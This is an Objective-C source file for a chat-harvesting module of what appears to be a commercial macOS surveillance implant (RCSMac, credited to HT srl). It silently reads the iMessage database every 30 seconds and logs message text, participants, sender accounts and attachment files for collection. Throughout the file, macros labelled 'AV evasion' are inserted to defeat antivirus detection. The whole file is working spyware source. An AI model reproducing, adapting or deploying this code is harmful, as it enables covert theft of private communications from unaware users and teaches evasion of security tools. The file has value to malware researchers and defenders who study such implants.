core/Agents/RCSMAgentChat.m
/*
* RCSMAgentChat.m
* RCSMac
* Chat Agent - based on iMessage history dump
*
*
* Created by J on 01/12/2014
* Copyright (C) HT srl 2014. All rights reserved
*
*/
#import "RCSMAgentChat.h"
#import "RCSMAgentOrganizer.h"
#import "RCSMCommon.h"
#import "RCSMLogger.h"
#import "RCSMAVGarbage.h"
#import <dlfcn.h>
#import <sqlite3.h>
#define MAX_FILE_SIZE (25 * 1024 * 1024)
static BOOL gIMessageContactGrabbed = NO;
static __m_MAgentChat *sharedAgentChat = nil;
@interface __m_MAgentChat (private)
- (void) _writeLog:(NSMutableData*)logData;
- (void) _writeMMLog: (NSString*)filenameString withAdditionalHeader:(NSMutableData*)headerData;
- (void) _writeContactLog: (NSString *)contact;
- (void) _getMessageChatTimer:(NSTimer *)timer;
- (BOOL) _getMessageChat;
- (void) _getMarkup;
- (void) _setMarkup;
@end
@implementation __m_MAgentChat (private)
- (void) _getMarkup
{
markup = [[__m_MUtils sharedInstance] getPropertyWithName:[[self class] description]];
if(markup==nil)
{
// markup not found, we allocate it
markup = [NSMutableDictionary dictionaryWithCapacity: 1];
}
}
- (void) _setMarkup
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
[[__m_MUtils sharedInstance] setPropertyWithName:[[self class] description]withDictionary:markup];
[pool release];
}
- (void) _writeLog: (NSMutableData*)logData
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_000
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: AGENT_CHAT_NEW
agentHeader: nil
withLogID: 29];
if (success)
{
[logManager writeDataToLog: logData
forAgent: AGENT_CHAT_NEW
withLogID: 29];
// AV evasion: only on release build
AV_GARBAGE_001
[logManager closeActiveLog: AGENT_CHAT_NEW
withLogID: 29];
// AV evasion: only on release build
AV_GARBAGE_004
}
[pool release];
return;
}
- (void) _writeMMLog: (NSString*)filenameString withAdditionalHeader:(NSMutableData*)headerData
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_000
unsigned long long fileSize = [[[NSFileManager defaultManager] attributesOfItemAtPath:filenameString error:nil] fileSize];
#ifdef DEBUG_CHAT
infoLog(@"filesize: %llu",fileSize);
#endif
if (fileSize > MAX_FILE_SIZE)
{
return;
}
NSMutableData *logData = [NSMutableData dataWithContentsOfFile:filenameString];
if (logData != nil)
{
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: LOG_MMCHAT
agentHeader: headerData
withLogID: 0];
if (success)
{
[logManager writeDataToLog: logData
forAgent: LOG_MMCHAT
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_001
[logManager closeActiveLog: LOG_MMCHAT
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_004
}
}
[pool release];
return;
}
- (void) _writeContactLog:(NSString *)contact
{
// AV evasion: only on release build
AV_GARBAGE_000
//NSData *firstData = [@"Messages" dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSData *contactData = [contact dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSMutableData *abData = [[NSMutableData alloc] initWithCapacity:0];
//u_int tag = 0x1 << 24; // firstName
//tag |= ([firstData length] & 0x00FFFFFF);
//[abData appendBytes:&tag length:sizeof(u_int)];
//[abData appendData:firstData];
u_int tag = 0x6 << 24; // email address
tag |= ([contactData length] & 0x00FFFFFF);
[abData appendBytes:&tag length:sizeof(u_int)];
[abData appendData:contactData];
NSMutableData *logHeader = [[NSMutableData alloc] initWithLength: sizeof(organizerAdditionalHeader)];
// AV evasion: only on release build
AV_GARBAGE_000
organizerAdditionalHeader *additionalHeader = (organizerAdditionalHeader *)[logHeader bytes];;
// AV evasion: only on release build
AV_GARBAGE_001
additionalHeader->size = sizeof(organizerAdditionalHeader) + [abData length];
additionalHeader->version = CONTACT_LOG_VERSION_NEW;
// AV evasion: only on release build
AV_GARBAGE_006
additionalHeader->identifier = 0;
additionalHeader->program = 0x10; // Messages app contact
additionalHeader->flags = 0x80000000; // local
// AV evasion: only on release build
AV_GARBAGE_002
NSMutableData *entryData = [[NSMutableData alloc] initWithCapacity:0];;
[entryData appendData:logHeader];
[entryData appendData:abData];
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: AGENT_ORGANIZER
agentHeader: nil
withLogID: 5];
if (success)
{
[logManager writeDataToLog: entryData
forAgent: AGENT_ORGANIZER
withLogID: 5];
// AV evasion: only on release build
AV_GARBAGE_001
[logManager closeActiveLog: AGENT_ORGANIZER
withLogID: 5];
// AV evasion: only on release build
AV_GARBAGE_004
}
[logHeader release];
[abData release];
[entryData release];
gIMessageContactGrabbed = YES;
}
- (void) _getMessageChatTimer: (NSTimer *)timer
{
[self _getMessageChat];
}
- (BOOL) _getMessageChat
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSMutableData *logData = [[NSMutableData alloc] initWithCapacity:0];
// usually Messages db is stored into ~/Library/Messages/chat.db
NSString *homeDir = NSHomeDirectory();
NSString *dbDir = [NSString stringWithFormat:@"%@/%@", homeDir, @"Library/Messages/chat.db"];
sqlite3 *db = NULL;
const char *dbDirUTF8 = [dbDir UTF8String];
if (sqlite3_open(dbDirUTF8, &db))
{
sqlite3_close(db);
#ifdef DEBUG_CHAT
infoLog(@"Unable to open db");
#endif
[logData release];
[pool release];
return NO;
}
// retrieve markup and set date
/*
double markupDate;
NSNumber *date = [markup objectForKey:MARKUP_KEY];
if (date == nil)
{
markupDate = 1;
}
else
{
markupDate = [date doubleValue];
} */
// we use rowid into chat.db/message table
int markupId;
NSNumber *rowId = [markup objectForKey:MARKUP_KEY];
if (rowId == nil)
{
markupId = 1;
}
else
{
markupId = [rowId intValue];
}
// recalculate markup
/*
NSDate *now = [NSDate date];
NSTimeInterval seconds = [now timeIntervalSinceReferenceDate]; //typedef double NSTimeInterval
date = [NSNumber numberWithDouble:seconds];
[markup setObject:date forKey:MARKUP_KEY];
*/
sqlite3_stmt *stmt = NULL;
//char *query = "select message_id,chat_identifier,last_addressed_handle,display_name,text,date,is_from_me, handle_id,chat.ROWID from chat,chat_message_join,message where chat.ROWID=chat_id and message_id=message.ROWID and message.date >= ?";
char *query = "select message_id,chat_identifier,last_addressed_handle,display_name,text,date,is_from_me, handle_id,chat.ROWID,message.ROWID from chat,chat_message_join,message where chat.ROWID=chat_id and message_id=message.ROWID and message.ROWID > ?";
if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK)
{
sqlite3_close(db);
#ifdef DEBUG_CHAT
infoLog(@"Unable to prepare");
#endif
[logData release];
[pool release];
return NO;
}
if(sqlite3_bind_double(stmt, 1, markupId) != SQLITE_OK)
{
#ifdef DEBUG_PASSWORD
infoLog(@"bind failed");
#endif
sqlite3_close(db);
[logData release];
[pool release];
return NO;
}
const unsigned char *chatId, *accountLogin, *displayName, *text;
int isFromMe, handleId, chatRowId, msgId;
double msgDate;
double baseDate = 978307200;
short unicodeNullTerminator = 0x0000;
unsigned int delimiter = LOG_DELIMITER;
while(sqlite3_step(stmt) == SQLITE_ROW)
{
// msgDate from db it's a timestamp in seconds with base date January 1st, 2001.
// baseDate timestamp (01.01.2001 00:00:00) is 978307200
msgId = sqlite3_column_int(stmt,0);
chatId = sqlite3_column_text(stmt,1);
accountLogin = sqlite3_column_text(stmt,2);
displayName = sqlite3_column_text(stmt,3);
text = sqlite3_column_text(stmt,4);
msgDate = sqlite3_column_double(stmt,5);
isFromMe = sqlite3_column_int(stmt,6);
handleId = sqlite3_column_int(stmt,7);
chatRowId = sqlite3_column_int(stmt,8);
markupId = sqlite3_column_int(stmt,9);
NSNumber *rowIdNumber = [NSNumber numberWithInteger:markupId];
[markup setObject:rowIdNumber forKey:MARKUP_KEY];
// we check is_from_me flag
// we have to select all participants to a chat (group chat or single chat)
// if msg is from me (1), we write into peer all participants and into origin the account_login
// if msg is not from me (0), we write into peer account_login and all participants except handle_id, and into origin the handle_id
NSMutableString *peerString=[NSMutableString stringWithCapacity:0];
const unsigned char *peer;
NSString *originString = NULL;
if (isFromMe ==1)
{
sqlite3_stmt *stmt3 = NULL;
char *query3 = "select handle.id from chat_handle_join,handle where chat_id=? and handle_id=handle.ROWID";
if(sqlite3_prepare_v2(db, query3, strlen(query3) + 1, &stmt3, NULL) != SQLITE_OK)
{
continue;
}
if(sqlite3_bind_int(stmt3, 1, chatRowId) != SQLITE_OK)
{
continue;
}
while(sqlite3_step(stmt3) == SQLITE_ROW)
{
peer = sqlite3_column_text(stmt3,0);
if (peer != NULL)
{
NSString *tmpString = [NSString stringWithUTF8String:peer];
[peerString appendString:tmpString];
[peerString appendString:@","];
}
}
if (accountLogin != NULL)
{
originString = [NSString stringWithUTF8String:accountLogin];
}
sqlite3_finalize(stmt3);
if (gIMessageContactGrabbed == NO)
{
[self _writeContactLog:originString];
#ifdef DEBUG_CHAT
infoLog(@"write contact log");
#endif
}
}
else
{
sqlite3_stmt *stmt3 = NULL;
char *query3 = "select handle.id,handle_id from chat_handle_join,handle where chat_id=? and handle_id=handle.ROWID";
if(sqlite3_prepare_v2(db, query3, strlen(query3) + 1, &stmt3, NULL) != SQLITE_OK)
{
continue;
}
if(sqlite3_bind_int(stmt3, 1, chatRowId) != SQLITE_OK)
{
continue;
}
while(sqlite3_step(stmt3) == SQLITE_ROW)
{
peer = sqlite3_column_text(stmt3,0);
int peerId = sqlite3_column_int(stmt3, 1);
if(peerId != handleId)
{
if( peer != NULL)
{
NSString *tmpString = [NSString stringWithUTF8String:peer];
[peerString appendString:tmpString];
[peerString appendString:@","];
}
}
}
if (accountLogin != NULL)
{
[peerString appendString:[NSString stringWithUTF8String:accountLogin]];
}
sqlite3_finalize(stmt3);
sqlite3_stmt *stmt4 = NULL;
char *query4 = "select handle.id from chat_handle_join,handle where chat_id=? and handle_id=handle.ROWID and handle_id=?";
if(sqlite3_prepare_v2(db, query4, strlen(query4) + 1, &stmt4, NULL) != SQLITE_OK)
{
continue;
}
if(sqlite3_bind_int(stmt4, 1, chatRowId) != SQLITE_OK)
{
continue;
}
if(sqlite3_bind_int(stmt4, 2, handleId) != SQLITE_OK)
{
continue;
}
while(sqlite3_step(stmt4) == SQLITE_ROW)
{
peer = sqlite3_column_text(stmt4,0);
if (peer != NULL)
{
originString = [NSString stringWithUTF8String:peer];
}
}
sqlite3_finalize(stmt4);
}
// construct log
// append timestamp
time_t msgTime = (baseDate + msgDate);
struct tm *tmTemp;
tmTemp = gmtime(&msgTime);
tmTemp->tm_year += 1900;
tmTemp->tm_mon ++;
//
// Our struct is 0x8 bytes bigger than the one declared on win32
// this is just a quick fix
// 0x14 bytes for 64bit processes
//
if (sizeof(long) == 4) // 32bit
{
// AV evasion: only on release build
AV_GARBAGE_008
[logData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x8];
}
else if (sizeof(long) == 8) // 64bit
{
// AV evasion: only on release build
AV_GARBAGE_001
[logData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x14];
}
// append program type
int programType = 0x10; // type for iMessages
[logData appendBytes:&programType length:sizeof(programType)];
// append flags
uint32 flags = ((isFromMe == 1)? 0 : 1);
[logData appendBytes:&flags length:sizeof(flags)];
// append topic/sender
[logData appendData:[originString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[logData appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append sender display
[logData appendData:[originString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[logData appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append to
[logData appendData:[peerString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[logData appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append to display
[logData appendData:[peerString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[logData appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append content
if (text !=NULL)
{
NSString *textString = [NSString stringWithUTF8String:text];
[logData appendData:[textString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
}
[logData appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append delimiter
[logData appendBytes: &delimiter length: sizeof(delimiter)];
#ifdef DEBUG_CHAT
infoLog(@"textual, origin: %@", originString);
infoLog(@"textual, peer: %@", peerString);
infoLog(@"textual, isFromMe: %d",isFromMe);
infoLog(@"textual, flags: %d", flags);
infoLog(@"textual, text: %@",textString);
#endif
// we have to log attachments too
// attachments are saved as files and info about files are in chat.db
// this is the easiest place in code to search, coz we have all the required info
sqlite3_stmt *stmt5 = NULL;
char *query5 = "select filename,transfer_name,mime_type from attachment,message_attachment_join where attachment_id=attachment.ROWID and message_id=?";
if(sqlite3_prepare_v2(db, query5, strlen(query5) + 1, &stmt5, NULL) != SQLITE_OK)
{
continue;
}
if(sqlite3_bind_int(stmt5, 1, msgId) != SQLITE_OK)
{
continue;
}
while(sqlite3_step(stmt5) == SQLITE_ROW)
{
const unsigned char *filename= sqlite3_column_text(stmt5,0);
if (filename == NULL)
continue;
NSString *relativePath = [NSString stringWithUTF8String:filename]; // this is a path starting with ~/
NSString *filenameString = [relativePath stringByStandardizingPath];
const unsigned char *transfername= sqlite3_column_text(stmt5,1);
NSString *transfernameString = NULL;
if (transfername != NULL)
{
transfernameString = [NSString stringWithUTF8String:transfername];
}
const unsigned char *mime_type= sqlite3_column_text(stmt5,2);
NSString *mimeString = NULL;
if (mime_type != NULL)
{
mimeString = [NSString stringWithUTF8String:mime_type];
}
#ifdef DEBUG_CHAT
infoLog(@"mm, origin: %@", originString);
infoLog(@"mm, peer: %@", peerString);
infoLog(@"mm, transfer name: %@",transfernameString);
infoLog(@"mm, filename: %@",filenameString);
infoLog(@"mm, mime type: %@",mimeString);
infoLog(@"mm, msgId: %d",msgId);
infoLog(@"mm, isFromMe: %d",isFromMe);
#endif
NSMutableData *additionalHeader = [[NSMutableData alloc] initWithCapacity:0];
if (sizeof(long) == 4) // 32bit
{
// AV evasion: only on release build
AV_GARBAGE_008
[additionalHeader appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x8];
}
else if (sizeof(long) == 8) // 64bit
{
// AV evasion: only on release build
AV_GARBAGE_001
[additionalHeader appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x14];
}
// append program type
[additionalHeader appendBytes:&programType length:sizeof(programType)];
// append flags
uint32 flags = ((isFromMe == 1)? 0 : 1);
[additionalHeader appendBytes:&flags length:sizeof(flags)];
// append topic/sender
[additionalHeader appendData:[originString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append sender display
[additionalHeader appendData:[originString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append to
[additionalHeader appendData:[peerString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append to display
[additionalHeader appendData:[peerString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append mime type
[additionalHeader appendData:[mimeString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// append filename, can be absolute or relative path
[additionalHeader appendData:[transfernameString dataUsingEncoding:NSUTF16LittleEndianStringEncoding]];
[additionalHeader appendBytes:&unicodeNullTerminator length:sizeof(short)];
// write to log
[self _writeMMLog:filenameString withAdditionalHeader:additionalHeader];
[additionalHeader release];
}
sqlite3_finalize(stmt5);
// end log attachments
}
if ([logData length] >0)
{
[self _writeLog:logData];
}
[self _setMarkup];
sqlite3_finalize(stmt);
sqlite3_close(db);
[logData release];
[pool release];
return YES;
}
@end
@implementation __m_MAgentChat
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
+ (__m_MAgentChat *)sharedInstance
{
@synchronized(self)
{
if (sharedAgentChat == nil)
{
//
// Assignment is not done here
//
[[self alloc] init];
}
}
return sharedAgentChat;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedAgentChat == nil)
{
sharedAgentChat = [super allocWithZone: aZone];
//
// Assignment and return on first allocation
//
return sharedAgentChat;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (unsigned)retainCount
{
// Denotes an object that cannot be released
return UINT_MAX;
}
- (id)retain
{
return self;
}
- (void)release
{
// Do nothing
}
- (id)autorelease
{
return self;
}
#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -
- (BOOL)stop
{
#ifdef DEBUG_CHAT
infoLog(@"chat module stopped");
#endif
int internalCounter = 0;
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration setObject: AGENT_STOP
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_001
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED]
&& internalCounter <= MAX_STOP_WAIT_TIME)
{
// AV evasion: only on release build
AV_GARBAGE_004
internalCounter++;
usleep(100000);
}
// AV evasion: only on release build
AV_GARBAGE_005
return YES;
}
- (void)start
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
#ifdef DEBUG_CHAT
infoLog(@"chat module started");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
[mConfiguration setObject: AGENT_RUNNING forKey: @"status"];
[self _getMarkup];
//first run
[self _getMessageChat];
NSRunLoop *currentRunLoop = [NSRunLoop currentRunLoop];
NSTimer *timer = nil;
timer = [NSTimer scheduledTimerWithTimeInterval: 30 target:self selector:@selector(_getMessageChatTimer:) userInfo:nil repeats:YES];
[currentRunLoop addTimer: timer forMode: NSRunLoopCommonModes];
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOP]
&& ![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED])
{
NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_007
if (gOSMajor == 10 && gOSMinor >= 6)
[currentRunLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
else
sleep(1);
// AV evasion: only on release build
AV_GARBAGE_005
[inner release];
}
if (timer != nil)
{
[timer invalidate];
}
if ([[mConfiguration objectForKey: @"status"] isEqualToString: AGENT_STOP])
{
// AV evasion: only on release build
AV_GARBAGE_006
[mConfiguration setObject: AGENT_STOPPED
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_003
}
// AV evasion: only on release build
AV_GARBAGE_002
[outerPool release];
}
- (BOOL)resume
{
#ifdef DEBUG_CHAT
infoLog(@"chat module resumed");
#endif
return YES;
}
#pragma mark -
#pragma mark Getter/Setter
#pragma mark -
- (NSMutableDictionary *)mConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_000
return mConfiguration;
}
- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_009
if (aConfiguration != mConfiguration)
{
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration release];
// AV evasion: only on release build
AV_GARBAGE_001
mConfiguration = [aConfiguration retain];
}
}
@end